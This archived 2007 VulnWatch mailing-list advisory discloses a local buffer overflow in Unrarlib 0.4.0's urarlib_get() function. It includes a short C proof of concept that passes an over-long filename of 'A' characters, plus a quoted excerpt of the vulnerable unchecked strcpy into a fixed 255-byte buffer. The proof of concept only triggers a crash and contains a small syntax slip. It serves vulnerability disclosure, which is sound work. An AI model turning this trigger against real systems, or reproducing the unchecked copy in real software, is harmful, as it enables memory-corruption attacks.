| To: | vulnwatch@vulnwatch.org |
|---|---|
| Subject: | [VulnWatch] Unrarlib 0.4.0 (urarlib_get) Local buffer overflow |
| From: | starcadi <starcadi@autistici.org> |
| Date: | Tue, 13 Mar 2007 17:22:23 +0100 |
| Delivered-to: | sp-com-lists@consult.net |
| Delivered-to: | vulnwatch-list@securepoint.com |
| Delivered-to: | mailing list vulnwatch@vulnwatch.org |
| Delivered-to: | moderator for vulnwatch@vulnwatch.org |
| List-help: | <mailto:vulnwatch-help@vulnwatch.org> |
| List-post: | <mailto:vulnwatch@vulnwatch.org> |
| List-subscribe: | <mailto:vulnwatch-subscribe@vulnwatch.org> |
| List-unsubscribe: | <mailto:vulnwatch-unsubscribe@vulnwatch.org> |
| Mailing-list: | contact vulnwatch-help@vulnwatch.org; run by ezmlm |
Description:
in file unrarlib.c don't exist the check control of size len filename
passed in function urarlib_get()
POC:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unrarlib.h>
int main()
{
char *data_ptr;
unsigned long data_size;
char *ovf;
ovf = (char *) malloc(262);
memset(ovf, 'A', 260);
urarlib_get(&data_ptr, &data_size, ovf,
"test", "password"))
// get overflow
return(0);
}
Source error:
--
char ArcName[255]; /* RAR archive
..
int urarlib_get(void *output,
unsigned long *size,
char *filename,
void *rarfile,
char *libpassword)
/* Get a file from a RAR file to the "output" buffer. The UniquE RAR
FileLib
* does everything from allocating memory, decrypting and unpacking the
file
* from the archive. TRUE is returned if the file could be successfully
* extracted, else a FALSE indicates a failure.
*/
{
BOOL retcode = FALSE;
#ifdef _DEBUG_LOG
int str_offs; /* used for debug-strings
*/
char DebugMsg[500]; /* used to compose debug msg
*/
if(debug_log_first_start)
{
debug_log_first_start=FALSE; /* only create a new log
file */
debug_init(_DEBUG_LOG_FILE); /* on startup
*/
}
#endif
InitCRC(); /* init some vars
*/
strcpy(ArgName, filename); /* set file(s) to extract
*/
#ifdef _USE_MEMORY_TO_MEMORY_DECOMPRESSION
MemRARFile = rarfile; /* set pointer to mem-RAR
file */
#else
strcpy(ArcName, rarfile); /* set RAR file name
*/
#endif
--
-- starcadi
|
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [VulnWatch] Windows Multimedia mmioRead Denial of Service Vulnerability, Michał Majchrowicz |
|---|---|
| Next by Date: | Re: Php Nuke POST XSS on steroids, Paul Laudanski |
| Previous by Thread: | [VulnWatch] Windows Multimedia mmioRead Denial of Service Vulnerability, Michał Majchrowicz |
| Next by Thread: | CORE-2007-0219: OpenBSD's IPv6 mbufs remote kernel buffer overflow, CORE Security Technologies Advisories |
| Indexes: | [Date] [Thread] [Top] [All Lists] |